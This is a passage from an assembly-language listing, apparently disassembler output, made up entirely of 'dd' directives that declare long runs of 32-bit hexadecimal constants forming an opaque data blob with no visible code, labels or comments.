		dd 211E0D00h, 9D55947Eh, 0F6B50537h, 0B2C8FFEDh, 8EAC50A0h
		dd 40D47900h, 873ED0C4h, 3DDA075Ch, 0C0ECBEFFh,	24989668h
		dd 0C370D948h, 0B1F255C2h, 0C1DC0DC4h, 1AA00075h, 3AD122B7h
		dd 0FE25AE06h, 821800DEh, 125E7374h, 87136CFh, 2983E5D0h
		dd 0F3E039A1h, 2F01C097h, 1061C0CAh, 75AC68D5h,	0DDBF2A02h
		dd 8140D602h, 0AE1A6608h, 0BCAC2454h, 0FBC79001h, 0D4305096h
		dd 0A47A7D2Eh, 5CD93B07h, 0AC8020D7h, 150961h, 544ADDDBh
		dd 0FEDFD55Dh, 8460C900h, 4C98366Dh, 76D101DAh,	8290CEA7h
		dd 0F305C007h, 0B59EAC1Fh, 668DAF03h, 27A97D11h, 9C10465Dh
		dd 2C00EDA3h, 17BE40F3h, 391F6E14h, 0DD938759h,	9A142088h
		dd 2600E02Dh, 3A349053h, 0FD12663Eh, 0BFE9E0h, 1A91B375h
		dd 271D58D9h, 7430A84Bh, 5810841Ch, 0E4221477h,	109CEB2Fh
		dd 4E72E790h, 0E1043252h, 0AEE30520h, 83D860DEh, 82DF632Ch
		dd 370578B9h, 0D0C83E0Ch, 4ECE03F9h, 0A81381C0h, 45C2FB80h
		dd 0EC2D2AFAh, 0B4E8A594h, 0B6098880h, 49975BD1h, 0F5009180h
		dd 7F70B0EBh, 8D0BA68h,	20442428h, 9DD70025h, 0F4942C8Fh
		dd 0A0F09221h, 8138623Dh, 9997384h, 94640F48h, 24BCA663h
		dd 68E0041Ch, 5E974284h, 0BA36B420h, 0E9120030h, 0E04B9B42h
		dd 0C3497744h, 0A270127Ch, 622A809Fh, 9AE03838h, 65DD6702h
		dd 0D052D75Eh, 0E10045EAh, 38A29097h, 0BAB0F70h, 0DFC721B0h
		dd 65D06C40h, 40D5F210h, 0F110D2C8h, 0FEEC204Bh, 460197D8h
		dd 127C1B57h, 6C683E82h, 8B0F6310h, 0D784837Fh,	6078223Fh
		dd 0EE67B418h, 7F52849h, 835F53D2h, 3799200Ch, 0D90249BCh
		dd 0D4C74ED6h, 0B468E171h, 4AE053C8h, 6EDC2A2Fh, 1F5E402Ch
		dd 10832FDh, 0E83E67B6h, 81D67E53h, 0CF1D0AA0h,	0C16A75B1h
		dd 0CCE4AF0Bh, 9F07FFCCh, 1E2671C5h, 1B237C0h, 0A4CD587Fh
		dd 0ED792000h, 0DA323935h, 0D0D448h, 43983068h,	246BD507h
		dd 8A073ADh, 7A8B7FDBh,	0EE980033h, 0F87C60EFh,	58341C28h
		dd 0C33DC1D7h, 58382C91h, 0E8F98B88h, 1C0097F9h, 49FF80C7h
		dd 0D41545h, 6B654B1Bh,	3DA94190h, 0A70459E2h, 767D4019h
		dd 80148C4h, 0F9374E55h, 18003439h, 0CA5E6F1Bh,	57006329h
		dd 79FCC053h, 0B54B346h, 0F275A504h, 408D6804h,	0F0415606h
		dd 89780107h, 0F482E0A6h, 9BCB207Ch, 1574F5Ch, 0C58015FAh
		dd 0D432B516h, 130896CAh, 3CC80039h, 0C6580B1Fh, 0C812CC99h
		dd 880F12F8h, 0AF81EF9Bh, 0E40A0535h, 0A72C244Ch, 8E053857h
		dd 0E4C93D3Fh, 776E8E0h, 74E16F6Bh, 9C205048h, 75906659h
		dd 0FC3C4005h, 24F2FF71h, 7E2048h, 0C1635678h, 4DBCA00Bh
		dd 0E805BD00h, 0BE76124Ah, 31AE0E6Ah, 0A2093999h, 83192C18h
		dd 783C0F00h, 873408AFh
		dd 5C6CE0AAh, 2C5A404Ch, 9D51FFE4h, 0C784820h, 64B8B3F8h
		dd 0AC42D524h, 40868848h, 4621053Eh, 2210486Eh,	0D2492655h
		dd 38A60800h, 90C2DD44h, 0DB844001h, 4998C19Ah,	38EA3A68h
		dd 172248h, 5DA4277Ah, 3CD42A47h, 1091F4A1h, 9D145Ch, 501CF4E9h
		dd 3E9F1FFEh, 80DB2E3Dh, 5E354340h, 7E90C6Fh, 0DF6766EFh
		dd 2890D9EBh, 9A0B37BAh, 0C445B52Ch, 22154224h,	0D8110067h
		dd 0D31B972Bh, 0B00E97Fh, 0B8E8346Eh, 0DE0F6h, 603FBF95h
		dd 0D365D6AAh, 0EC67AC19h, 7FE8BBE9h, 890F009Eh, 8D26904Eh
		dd 6C09A4F8h, 18D0E941h, 4C271134h, 0B447540Ah,	0FCA0F82Dh
		dd 71986447h, 0A499CC00h, 0CF0DE3D2h, 1AE600FAh, 39878AFDh
		dd 3D585604h, 0E9F28080h, 3090843h, 7C346B96h, 0AEC89138h
		dd 8A2C9F56h, 0D12C4CDFh, 0B1A83607h, 0EC6A803Eh, 0E80DDBh
		dd 13CC7FAFh, 98EBD66Ch, 50A4309Ch, 0E0FBCE04h,	0C0C98982h
		dd 4A247A40h, 1F3030B5h, 67898AE0h, 0AA00A062h,	697A4795h
		dd 91DED0Dh, 30F34972h,	503BF208h, 0DE7E0ECCh, 0C46AB1FEh
		dd 38B240C8h, 7C3FD233h, 89596F63h, 42D8603Bh, 37228618h
		dd 3C68EDE3h, 79BF8680h, 9000C925h, 0EFD5677Ah,	168DAEF8h
		dd 0D2714564h, 63217CC8h, 0EB13E906h, 0CA45AE2h, 0EA1747DDh
		dd 11190481h, 5C942988h, 21DF0C42h, 68DD713Ch, 0C20B9E6Ch
		dd 68641Ah, 0B5AB34B9h,	61195C38h, 1183B3Ah, 239B4355h
		dd 0F1D03DD7h, 0BFBA1203h, 3914C85Bh, 94266C00h, 0D7A02070h
		dd 92FE0074h, 603448FFh, 103C1438h, 10C07FD2h, 9AF9DF7Ah
		dd 2806FB7Fh, 28D00C84h, 0EC76811Ch, 0FC495D9Fh, 0B023BF0h
		dd 0E678246h, 0F0E14C05h, 7190D5BCh, 913BA217h,	88FC7010h
		dd 0A80D80EFh, 793CFAAh, 0E2E14700h, 3C18164Ah,	341A02F1h
		dd 41BF34Bh, 3438E48Bh,	2846092h, 5014FF38h, 7CC242B6h
		dd 53712260h, 6B464098h, 8184204Ah, 0E673379Ch,	641C3F01h
		dd 0E90A1BF5h, 0C407B840h, 5841F191h, 4830A401h, 0FCC182BAh
		dd 23D813DEh, 8D0B3AE1h, 95C9169h, 5CBDA830h, 3EC05815h
		dd 0F35360E1h, 0AC3C14E0h, 48445C0Dh, 5A00DC10h, 95B84B66h
		dd 89F33AD2h, 357D5C80h, 4267BC5Dh, 4653E425h, 0A5E10018h
		dd 83E9C7F6h, 4E000931h, 0CD605FBAh, 1E8496F5h,	88D5517h
		dd 70165947h, 1E1468C8h, 0C001B8D5h, 6AF6C80Dh,	0D3009D2Eh
		dd 3AD15E24h, 0E836218h, 0AD0877B5h, 3D50AA2Ch,	0D7419260h
		dd 181AC7C6h, 0A23BF232h, 89000795h, 59D880ADh,	937815Ah
		dd 3E320BDFh, 91223C50h, 0CF500055h, 0C09E5494h, 150011FDh
		dd 0D5E9DDD7h, 2D5A2167h, 0B0109F96h, 57016B09h, 0CA42DF89h
		dd 0B2004DE1h, 0E81FFD6Fh, 87009122h, 0FFB80506h, 9B620FCAh
		dd 1A800E31h, 0D3AE172Fh, 6E4F18C0h, 311C2F0h, 905DD45h
		dd 1EE067D6h, 0C54BEC81h, 931ACCD0h, 505D04E2h,	0C298C0F9h
		dd 8CC6848Ch, 90E5CF0h,	0A2D39DFh, 6B1308C6h, 1698088h
		dd 76AAF1ECh, 209015C5h, 0AC9E1F27h, 8D01A8A6h,	3646DCF9h
		dd 0E7D8212Bh, 1AA0F448h, 0A567B503h, 88EAE5B8h, 870B90h
		dd 0C3394970h, 3DC95182h, 0B01C410Ch, 588E089Dh, 70802062h
		dd 53DDFB4h, 0C492D0E1h, 0BC71D507h, 80FF50D3h,	5E60DD62h
		dd 855091D2h, 0C097E140h, 78346778h, 0C842DE05h, 0C08C74C1h
		dd 31D50199h, 665DCDBBh, 0D8162A3Eh, 8291382Ch,	9906456h
		dd 2292DE09h, 703D98B0h, 0DF6008F0h, 0B6096611h, 3411177Dh
		dd 0B2D0C4ADh, 0C22900B0h, 0FB18A5F3h, 571700A9h, 70D7621Dh
		dd 9A623E93h, 0E2FFB239h, 8E20D124h, 0E4C358A7h, 0DFB02A9Ah
		dd 3B399933h, 0CEB8D8D4h, 0D75F6043h, 96190558h, 344C510h
		dd 7C323AB6h, 3004A3E9h, 0B2588DC2h, 6A8E0D50h,	3C737129h
		dd 5DA55A00h, 956C992Ch, 2835591Dh, 50ACCC0h, 2D09BA6Ah
		dd 0D41671D4h, 3D33C58h, 0C6783E11h, 0DD502EA6h, 49990FD8h
		dd 506DC8C1h, 0AC402F68h, 3F487886h, 0E34B07Dh,	6405EB34h
		dd 3CB48917h, 9CC688BCh, 7AC80749h, 91ED809Bh, 211343Fh
		dd 17286ED6h, 9FFF2808h, 8560A114h, 5F8DE189h, 0D862789Ah
		dd 20D83809h, 0E35067EEh, 7B1DC5C0h, 0F218DFD1h, 5BE21F31h
		dd 0E888249Bh, 80EEA32Ch, 941BAFh, 0D2E40F4Dh, 9172CFB4h
		dd 0D5035107h, 1F123D78h, 3444D9h, 3AB5FF36h, 26CFEBABh
		dd 6342E000h, 0F95D7E0Bh, 0D5A60E7Bh, 139F1590h, 0E564306Bh
		dd 0DA006F24h, 43C9E301h, 7285D8h, 0AC53179Fh, 0B3717D38h
		dd 14BEBC7Ah, 0CC090717h, 0A78C680Eh, 259917A6h, 0EE5CC8D9h
		dd 0CF1E5600h, 662198F5h, 7DAE03A0h, 0EF8337D7h, 0FCFE20E9h
		dd 0A4B99EEBh, 0E84427h, 759183B3h, 17F409Bh, 0CB2FCF0Ch
		dd 13DD7153h, 9313856h,	0CC10C598h, 40B0CEAh, 0DFD18E9Ah
		dd 8B07590Fh, 5FD5105Ah, 79002110h, 5BF19DD9h, 91BE4Fh
		dd 62E4EB45h, 15DBF7Dh,	0D6A8E500h, 3649558Bh, 101F4839h
		dd 26670D00h, 0E4AA7053h, 0F10B967Ch, 0B99992D7h, 4C3DF9F0h
		dd 52DB85Bh, 6877739Dh,	0A04C0CB2h, 3C01E522h, 95E457C7h
		dd 0C20F124h, 84F4015h,	5C2C1C5Eh, 6360449Dh, 0CE30528h
		dd 4D889674h, 16500D0h,	34E0FFA6h, 4C39AF12h, 0C700F84Ah
		dd 16EE84CEh, 477B469h,	0E012DA5Dh, 0FA28A4C5h,	804F5C09h
		dd 90A02B94h, 6B2FF8h, 0BB8DE795h, 68C55754h, 0DAF17C00h
		dd 0FA08E5ABh, 5241A48h, 908258D5h, 0DE00DD1Ch,	0D45794EBh
		dd 0AB24F849h, 87CB6770h, 273BA021h, 9800CD58h,	252F8DB9h
		dd 270D0E07h, 8E09CC0h,	1B124908h, 48A27F9Fh, 0EADDFB00h
		dd 0C635BE7h, 0B030E945h, 1E38B5Ah, 1C08894Ah, 81649D5Bh
		dd 0E8CCAA5Fh, 0DB4850EDh, 0EA1FE9A3h, 0C2802B4Dh, 0B91DC4B6h
		dd 0CD191F8Eh, 34C34402h, 0D4B9F9h, 3C265CFBh, 1A5AE0h
		dd 31CB740Dh, 7AF0AC1Eh, 0CE21473Eh, 93447282h,	641010E4h
		dd 0F9D18305h, 50512CABh, 0F3CB00EEh, 8603DB1h,	0E3C88095h
		dd 0F490BDA6h, 70351D0Eh, 4856C20Fh, 8C41DF8Ah,	7D418054h
		dd 0AF693049h, 60D20F7Ah, 70609E0Ch, 0F097D1C9h, 51DE8801h
		dd 0FDDA2C41h, 77ACE8h,	0D90ECF34h, 797D3DD2h, 7C3C49h
		dd 74AECAA0h, 26DF700Ah, 1134307Ch, 3D3C757Eh, 8D7099Bh
		dd 0C046B8h, 1519D8C0h,	0DB231A40h, 2AB78009h, 2F6C640Ah
		dd 0E494E31Fh, 6515830Eh, 0FBE12221h, 0EE63603Bh, 67601B7h
		dd 0B19A0251h, 11408F6Ch, 7DE0563h, 0C830A094h,	1FF46Ah
		dd 9B7FD36Eh, 1AFAF833h, 0BC16C600h, 73CCED4Fh,	0BEA0BC3Eh
		dd 8CBC08C4h, 0E6B0788h, 20F3D14Eh, 0D92A39ECh,	0F280C4B9h
		dd 1DB4E4CBh, 736912A3h, 235CF689h, 0FC5F029Eh,	0CCC00758h
		dd 59E0B2D5h, 8056CF27h, 8B266F20h, 0D8A2002Ch,	132F1591h
		dd 18B0657Dh, 98596A03h, 824D390Dh, 9108829Eh, 8414893Dh
		dd 0F2522140h, 0A66B01B0h, 9030D0BCh, 45961DCh,	0AB99D219h
		dd 589CAD3Dh, 0BAE01C49h, 5DE03025h, 0D61F881Ch, 63D81195h
		dd 0B007D409h, 26C62E01h, 2290AB7Dh, 18E6D3D4h,	10EE64D4h
		dd 0FE015CD7h, 6ACD06F4h, 146C5654h, 0E79B8D00h, 0C13DD6A4h
		dd 86DF5C0Eh, 0E464109h, 0ECD085D1h, 9074999Eh,	419FC80Dh
		dd 45668DFFh, 3E0F254h,	0CD03F6F1h, 0E269D3ACh,	0FF5E013h
		dd 0D8B13Eh, 0E09A15A8h, 611AC5A0h, 197F0Dh, 0D36AE7B8h
		dd 45112047h, 559A0880h, 763CD703h, 0A03A3B0Dh,	0B03E4FDFh
		dd 732080E0h
		dd 4CF84819h, 0C5B12A31h, 0FEFC1022h, 0FF4A0013h, 2798A61h
		dd 0BE0B3D15h, 58D34107h, 31D51FB5h, 0E8A80CDh,	0DF6C1538h
		dd 762A0700h, 0AE1991BAh, 9BC10020h, 0D513CA3Fh, 0C812C473h
		dd 1604888Bh, 268007B1h, 9242684Ch, 803C5C5Ch, 71CF3504h
		dd 0D838CC63h, 6112DDEEh, 7C88D35Eh, 0A2708069h, 5003385Eh
		dd 0C8DD62D8h, 0F880912Fh, 488D0BB2h, 8C8037C5h, 9B045A55h
		dd 62D4D80Bh, 2E05A0Eh,	6E13CE7Fh, 0E854F109h, 67047081h
		dd 346899ECh, 0D99A3880h, 0C92701B5h, 5940C914h, 83082819h
		dd 0C073C582h, 228C2Dh,	0B827C4CAh, 2F748B31h, 3EE7C200h
		dd 68D413C7h, 0DC610007h, 0ADF86553h, 1D44C5D8h, 240F0129h
		dd 23BA04C8h, 0E3362032h, 84875D2Eh, 0A6E79660h, 217000ADh
		dd 946C9756h, 0C1002A7Ah, 29D062Bh, 50FEE75Ch, 44A077h
		dd 0D56AA199h, 0A5727B69h, 0B05DC05h, 80541D6h,	1401FB5Dh
		dd 409CE74Ch, 0EE65909Dh, 90102FE0h, 6748B40Bh,	0DFB28078h
		dd 66AF13Ch, 0E56857Dh,	3D4808D3h, 434E0040h, 7F42691h
		dd 53349871h, 69009887h, 0C79D79E7h, 0D37DB0ABh, 113FE105h
		dd 24C28C0Fh, 3C0B115Ch, 9A9CDDC8h, 5EDD6002h, 3A9CD9E2h
		dd 963839Eh, 0B0D9DA78h, 0F7A46601h, 0B7C34105h, 67E8FCF0h
		dd 6C491065h, 75922D3h,	113C7BDDh, 389B7B42h, 9AADC2F8h
		dd 0A4BC6624h, 0D3E10942h, 0D3273BF8h, 0F50044C4h, 74E91D4Ah
		dd 0E118F3h, 9A130A2Eh,	3DE79F3Eh, 7700F491h, 0A2BECDB6h
		dd 0E3781B86h, 0A7898Ah, 591C0D70h, 0B8CC262Ch,	0E48B0F03h
		dd 0A2E0075Dh, 87AC7641h, 0A30E432Eh, 0B87D1028h, 50236A4Ah
		dd 1FC2B8EFh, 0AE0B071Dh, 719FBA6Fh, 2DDD86D8h,	3B74410Ch
		dd 71D6F000h, 73EC4990h, 0C8F1D694h, 7C007B84h,	9E26F0AAh
		dd 0B3CDD4h, 0A21F9DC1h, 0C7D78FACh, 164CBB0Bh,	0C0EB098Eh
		dd 6B640820h, 240371FEh, 20311E4Ch, 0BB0C79FCh,	9835DBC4h
		dd 11EF224Ch, 811D44h, 328C0E9h, 854FD365h, 0BE6ED40Ch
		dd 3F0A3801h, 3730640Fh, 0A708D861h, 0B0ECB39Fh, 4E246780h
		dd 9C381278h, 6A07AA60h, 69FC4682h, 657F2B30h, 110F07E9h
		dd 0E22022D2h, 28C02E36h, 0ED0F64C2h, 7C9FEAFh,	44D96674h
		dd 0CCF51C40h, 0F31382E7h, 0B940CF6Ah, 0D17F64A5h, 800B0D3Ch
		dd 0F44C90FAh, 0CBD3608Dh, 0D4C90889h, 951F03D7h, 0DE6888h
		dd 0E805682Ch, 38A6633Dh, 6500A4A4h, 0B507AEE3h, 90DEB46Bh
		dd 0A117F998h, 54B3C5DFh, 0E2F812C0h, 92498054h, 0EA23086Fh
		dd 0E3160152h, 0A5AF6655h, 8F447870h, 968F4026h, 54EE41Ch
		dd 70307E03h, 128C84B5h, 9DA830F1h, 5EE44D68h, 7816C4A4h
		dd 54F28CE2h, 0FB39CF00h, 650D5F2Ah, 0A35E590Bh, 0C40809AFh
		dd 3BDE00C4h, 0EB85B97Eh, 0FD334ADDh, 17D56CBCh, 21678D21h
		dd 48BD0878h, 0E9490994h, 0F9D8C3C8h, 5004A48Fh, 0BBBCA468h
		dd 5ACE0D0Fh, 6E009635h, 2A924286h, 0D062F733h,	686FDD04h
		dd 6F189D44h, 187A8432h, 0D9036A6Bh, 15C438A3h,	4492E075h
		dd 0F9030021h, 0DF663D76h, 9103364Ch, 344F3916h, 9D67C9B8h
		dd 0B427B82Dh, 660088C4h, 19CEEEBBh, 1A1559h, 0A2C69E0Eh
		dd 0A911298Eh, 0AE2E42E6h, 0C14F9066h, 55DF3498h, 4C78B830h
		dd 0FE03B43Bh, 5DD4A8BDh, 47D980A7h, 936C95ECh,	5FC020E1h
		dd 0C5008846h, 0B200517Dh, 0F7FC30F0h, 4CCD42Fh, 795FDDBFh
		dd 0EC5AC417h, 0E9E28054h, 21022Dh, 72A5C24Ch, 9156FA0h
		dd 11920825h, 6423E2A0h, 0CB56931Ch, 0C8613E69h, 206F1935h
		dd 7B06C114h, 0EA2A4000h, 65BD8A0Dh, 0AF90011h,	0C9FFCC71h
		dd 74005609h, 10F6355h,	0BF9DFBh, 0D56BB987h, 7D57304Bh
		dd 55DD900h, 0FCBFE27h,	3A6606DEh, 7197DC1Fh, 0E5658D2Dh
		dd 57E600C0h, 183FC83Dh, 4E87B300h, 0BF3BFEEh, 70A02548h
		dd 0D576E4C0h, 84636D00h, 26D3FFB5h, 2B89865h, 0DBE54971h
		dd 6C70BA46h, 42C78600h, 5FA2589Bh, 0E4561ED4h,	839D5609h
		dd 3DDAF6D8h, 8039F859h, 0FA828C8Ah, 26E83F2h, 713DD7A4h
		dd 0DC68BB50h, 7380DE20h, 15980F2Eh, 7C3864D1h,	0B4166937h
		dd 7C20C4D0h, 5E4DDA1h,	9FCBB366h, 4E8B0597h, 0D04787BEh
		dd 56131F36h, 8603E01h,	0FEDC5D5Ch, 0AAACA8C5h,	48900196h
		dd 2FF3FD40h, 0F4D18032h, 81B842DCh, 80C5A00Ch,	8D80DDD0h
		dd 892F6D5Eh, 2ABC0918h, 4D0A9020h, 8615005Bh, 56E8A7B0h
		dd 9800EC45h, 18B3FCACh, 0FF9FC3B9h, 38E0F4D6h,	701840CAh
		dd 0FC995FD5h, 42ECD200h, 0CCDA2591h, 475F871h,	0EF8D76A3h
		dd 0B8A23Dh, 0BEA9B5F2h, 0B15C0416h, 8C934E50h,	4C2CD574h
		dd 0D1CF501Fh, 9CD9BE8Bh, 0A4123A00h, 0EFF72B7h, 53CAFDCDh
		dd 48A00816h, 492F1F11h, 0DFAA346Bh, 0CF909h, 0CF23B80h
		dd 68B308DEh, 5CA76A16h, 0B5D17F00h, 2BD938BEh,	0A68C1516h
		dd 0D25D7430h, 519FAADh, 5E70554Eh, 0DE0802FAh,	0FC793680h
		dd 3873403h, 93D1C09Dh,	6DD4007Dh, 753BE08Eh, 340006B4h
		dd 0A414C43Fh, 70EE52Eh, 44C7831Dh, 68A310A6h, 384E7674h
		dd 54BB6820h, 0A2400A2h, 20A6A0C7h, 0C200F5B0h,	7A097E50h
		dd 9F7CBAD1h, 40DCC884h, 74ACD05Dh, 3C7326F5h, 0A86A4344h
		dd 5AD07BA3h, 7A073E85h, 0EFFA0902h, 435B9BE1h,	421CA2C7h
		dd 0A10040C4h, 8A550003h, 77CD31C1h, 460021A5h,	993A697Dh
		dd 30D1DA2Ch, 0B4A981F9h, 0DF7167E4h, 993E5105h, 30A8B809h
		dd 0AD6A7300h, 178B2237h, 91843D30h, 4C52F3DFh,	0E30B1E9Ah
		dd 0C011E74Dh, 14207B67h, 353D4250h, 969DB1Fh, 50453ED0h
		dd 65CC3C10h, 322DDE08h, 190420F8h, 0B7C1EF4h, 6F369F7Bh
		dd 3A7879h, 0ED853A45h,	25B5BD0Ch, 0DCA5638Dh, 0FFF8CC70h
		dd 0E07A3100h, 0A2A75280h, 0F9B028Dh, 2095CFB6h, 0C04054FEh
		dd 3C5B990Dh, 1528CD7Fh, 0D2094C08h, 3B39B400h,	2EBA65F0h
		dd 0D802F8B0h, 37D9993Dh, 1224F6ECh, 0AEB0332Fh, 29C668E0h
		dd 6F7D8912h, 0D670A200h, 9A3DD163h, 99321C80h,	88A3143Ah
		dd 44101AC8h, 0D44EEB3Ch, 6AC0304Ch, 0A6002D8Ch, 0A765D21Ch
		dd 2F4D39h, 0BC9995E6h,	11C4EC34h, 0DDDA3101h, 6B8DB1FEh
		dd 0E248203Bh, 3412FA3Bh, 0E88C85FCh, 0BCF38D2h, 20680293h
		dd 0EDB88048h, 8CA4E300h, 0CCE56E36h, 2A4F00DEh, 135F22F7h
		dd 0E312B34Dh, 120F60E1h, 0A2982725h, 0CFE76707h, 0A79CA970h
		dd 506F00D4h, 119DD92Ah, 98A2EBDCh, 94401C54h, 1FFA2855h
		dd 807F20A5h, 2ED76811h, 57169860h, 4C23C62Bh, 0FD2CF06Ah
		dd 102D1D75h, 0B05C0FB6h, 5B22FBE1h, 41CD4784h,	0EF6EDA0Ah
		dd 0DC1715A0h, 57142B0Eh, 813400C2h, 5F3A41h, 2AA68358h
		dd 78D5ABF9h, 74CAB62Eh, 0C1CECA4h, 58097413h, 0CE94105Ah
		dd 0B2670134h, 3DCD69DFh, 18606A89h, 1A5F8h, 11FE3BDBh
		dd 7F8BED1Dh, 80747CF3h, 0D1FC9EA3h, 59A201AEh,	8BBC26EAh
		dd 0C6E06A81h, 39973D3h, 39142A9Eh, 0C90DC3Ch, 0CF05FFBBh
		dd 87DFCB66h, 0AB8018A8h, 38ED2442h, 830B9800h,	1BF0868Bh
		dd 0E6851206h, 6E24E044h, 206ED741h, 5EF2F7C4h,	3C552C0Bh
		dd 3C44A0h, 0FF8FBED3h,	7802EB07h, 5F931407h, 0BF95A61Ch
		dd 2CACD4C4h, 9210C788h, 0F900044Eh, 8321405Eh,	0ECC2A8Ch
		dd 0F6F33D68h, 0CBC26949h, 36B41280h, 35043034h, 1CA42B2h
		dd 280F5CC0h, 9B3326DFh, 95EB09CDh, 390238E4h, 67B5B968h
		dd 0A883556Ah, 0B8B59FECh
		dd 0F99E8204h, 93062761h, 0A5E8543Ch, 4816D194h, 0A1CE54Ah
		dd 0DCD5F45h, 0C84CE8BCh, 9C376016h, 5EF464C0h,	9DA75300h
		dd 978E11Fh, 3175D0h, 2B6C903h,	250FD586h, 90D4DF04h, 4ACE92Bh
		dd 9AAD0373h, 1044E01Eh, 0DBF492F5h, 0D8501C74h, 0AC9603FFh
		dd 0E8E93D36h, 985C8022h, 0B1910053h, 0CBA09978h, 2B973453h
		dd 198C440h, 0BC15F20Bh, 0E04CA6FDh, 0B34A35A5h, 0E73C9C00h
		dd 1CF208B5h, 0F2B035Dh, 0E6231A4Eh, 401690DCh,	0B8607AD4h
		dd 7CFCBC3h, 0A0F9C44h,	68A93970h, 0E200B8F1h, 0ECAD65Eh
		dd 13B609D3h, 258061C7h, 0B898E0D2h, 0AA249B3Ah, 492844DBh
		dd 0EB1438E7h, 0C0D85C9Ch, 0D30D76CFh, 0BE71258Dh, 280AB8E0h
		dd 0B79EB6Bh, 0DFC448A4h, 563E4A77h, 4FD00F34h,	798F760Fh
		dd 5FEA0F81h, 1038A711h, 738828C0h, 0FC6C0030h,	773F3BE1h
		dd 90978603h, 8AF7A4h, 9DCE3578h, 42315CCAh, 56A0C03h
		dd 0B0E42DC1h, 55E940Dh, 0EC7B4959h, 4E88F99Dh,	63A35420h
		dd 587A7E4Dh, 44032018h, 0FF9B2EE8h, 31877EC9h,	28006C5Eh
		dd 2C9808C6h, 66DE1480h, 0E04DE402h, 846492EBh,	4C408A30h
		dd 890F88DEh, 0DD2BB300h, 0D7CA1B16h, 0EC96353Bh, 1524C3D0h
		dd 0E3AE00F4h, 0BC61CE0h, 0C4C8525h, 5780D209h,	0A2099DE4h
		dd 5BBF4801h, 0BBAF6A0Bh, 233B1880h, 4715C602h,	0DB5068EAh
		dd 9648E898h, 9D690474h, 0DC80550Fh, 0B33390Ch,	0ABAA0542h
		dd 0D816203h, 604724E0h, 0C758D704h, 0B800651h,	0C204777Eh
		dd 526EC540h, 0B70BE101h, 0DF071984h, 34081D7h,	7C9AF0F9h
		dd 9DBCC350h, 525BE118h, 189936A8h, 30F4518Ah, 41E66815h
		dd 0A50C4EFEh, 0E8831B93h, 0BBEA804Ah, 4D7F2184h, 71BC2308h
		dd 0ED6600EBh, 0E4638803h, 3DC38C40h, 0A9A32542h, 0AAFFB5C0h
		dd 4580094Ch, 2CDAF943h, 8A742B0Eh, 0A3734538h,	80F8BC85h
		dd 46883302h, 0B8E06B0Dh, 0CE5DB5E6h, 933D8598h, 83F1FC40h
		dd 0B19DCFh, 4EDFE38Ch,	0BE363C94h, 8A78A800h, 348768B3h
		dd 99A0902h, 2C87267Ch,	7083A9C9h, 8C8459h, 0A760F5F2h
		dd 0C89D0809h, 0DD028265h, 621EAA03h, 0DECC4028h, 1787052Eh
		dd 80385253h, 16E23BBCh, 84DC20C0h, 0A72FCE6Bh,	2B7F8820h
		dd 0EBDF49C0h, 0DC2549C7h, 0B5356305h, 402CA5F8h, 0CC2DE97Ah
		dd 36472500h, 0BA7017E2h, 75DA00E6h, 43710CF1h,	0D9121F9Bh
		dd 0B4CC603Dh, 27995FEBh, 94640830h, 0FB684C20h, 976619C1h
		dd 20069639h, 3D420487h, 9C783Eh, 1AEBD91Bh, 57281C5Ch
		dd 695A981Ch, 0A89B80FDh, 0ECD818D7h, 0ED38001Bh, 99501AA5h
		dd 910058E3h, 0D59425DAh, 0D691Eh, 5EB9661Dh, 0FD176B42h
		dd 0A714900h, 10F445A1h, 0C2360189h, 4305E452h,	7EE57061h
		dd 3AE6C400h, 0A7B949Ah, 0E7803B65h, 0BA632000h, 0A97D46ABh
		dd 69D7F600h, 30D2F192h, 0CBEA008Bh, 0BF97B33Ch, 512CAD2Bh
		dd 750017C6h, 0DB90B77Fh, 0A3CA0091h, 0E359FB3Eh, 24E09A06h
		dd 14AE3900h, 50F27C67h, 0F1E800ABh, 3599EDDFh,	160FF3E3h
		dd 607AB35Dh, 0EF72A940h, 0F68700E2h, 9AAB7D33h, 67004CA2h
		dd 78B6858Ch, 3B44D2DEh, 43802769h, 756F980h, 0A6015F33h
		dd 8AEA7152h, 0A0BA78AFh, 7DFF2680h, 99FC1928h,	0C45E6A2Ah
		dd 1C8E8301h, 0D985778Ah, 0AE8B8881h, 486607EBh, 5030299Ch
		dd 0C62A4880h, 0C81D109Fh, 440A3A11h, 941B003Ch, 0C7F247DEh
		dd 0C400DDDFh, 20E3AFD7h, 7C13AE33h, 1EA83E68h,	64080A09h
		dd 9E8C9780h, 5001EE17h, 9A58CE19h, 0D4E813B8h,	2A4B07F3h
		dd 0B3866466h, 83ACE33Bh, 0ABC83869h, 0F200794Ah, 0ED744F9Fh
		dd 1C609852h, 4E19115h,	0C01CD55Ch, 7C139FD0h, 0E4A87B00h
		dd 1493F35Dh, 0FFED0316h, 0E9A40B42h, 4C6FB780h, 504C1C49h
		dd 81006837h, 7871CB14h, 34EB0Ch, 7447C2F4h, 0B883FE89h
		dd 8EF9170Fh, 4026E0ADh, 50FD9819h, 4474880Fh, 1B00A641h
		dd 4826DF93h, 81FD28h, 371C6B32h, 1FE54B9Eh, 0C7799800h
		dd 6AC448Fh, 457D0125h,	2B8B12F2h, 51B85751h, 0CE1EA0C7h
		dd 3D200B24h, 0E200901Bh, 0D79B124Bh, 7870940h,	0CB9E1E79h
		dd 80DD3414h, 0E191B53h, 7B144D48h, 80866B3Fh, 55942CAFh
		dd 0EEEF459h, 53DF9990h, 0A09CD80h, 2900406Dh, 967201F6h
		dd 39D5E2h, 0A5582CEAh,	12D7656Ah, 4DA9590Fh, 155BC0C4h
		dd 0F770385h, 0A624AF9Ah, 4093443h, 1BB78090h, 0DD0E4E00h
		dd 17A28D6Eh, 2FD000ABh, 28C97211h, 9DB8F8C2h, 6A0ED100h
		dd 976E531Fh, 99260156h, 6250F7E2h, 0A524E4D4h,	0BB74FF00h
		dd 0DBB5E8EEh, 0CFDE00F3h, 0CBD7D95Eh, 2F02120Ah, 673B28D2h
		dd 0D1949075h, 43650216h, 1BF1A2B5h, 1AF77DE0h,	0D664AE03h
		dd 0D8A75D13h, 126B589Fh, 41CEED8Eh, 779E83F0h,	0D2A9F8F6h
		dd 0DEC33101h, 2708AA3Fh, 0FAE8140h, 101F2438h,	167A801Ch
		dd 9EB13F69h, 35EE8C00h, 48B59263h, 0A7CEEE3h, 1A25D1B6h
		dd 0E2A700C4h, 1F2D94CBh, 6748D67Fh, 0DD9A0089h, 102234C3h
		dd 4C490EFh, 72833A16h,	0F8E8F01Ch, 0D5ED840Fh,	0B128E02Ch
		dd 7B305F67h, 0BE780786h, 0F27F2768h, 61F714E8h, 47305218h
		dd 89E0003Ch, 81A5E3C9h, 0BE58B0C2h, 0C4EB0332h, 0C83724E7h
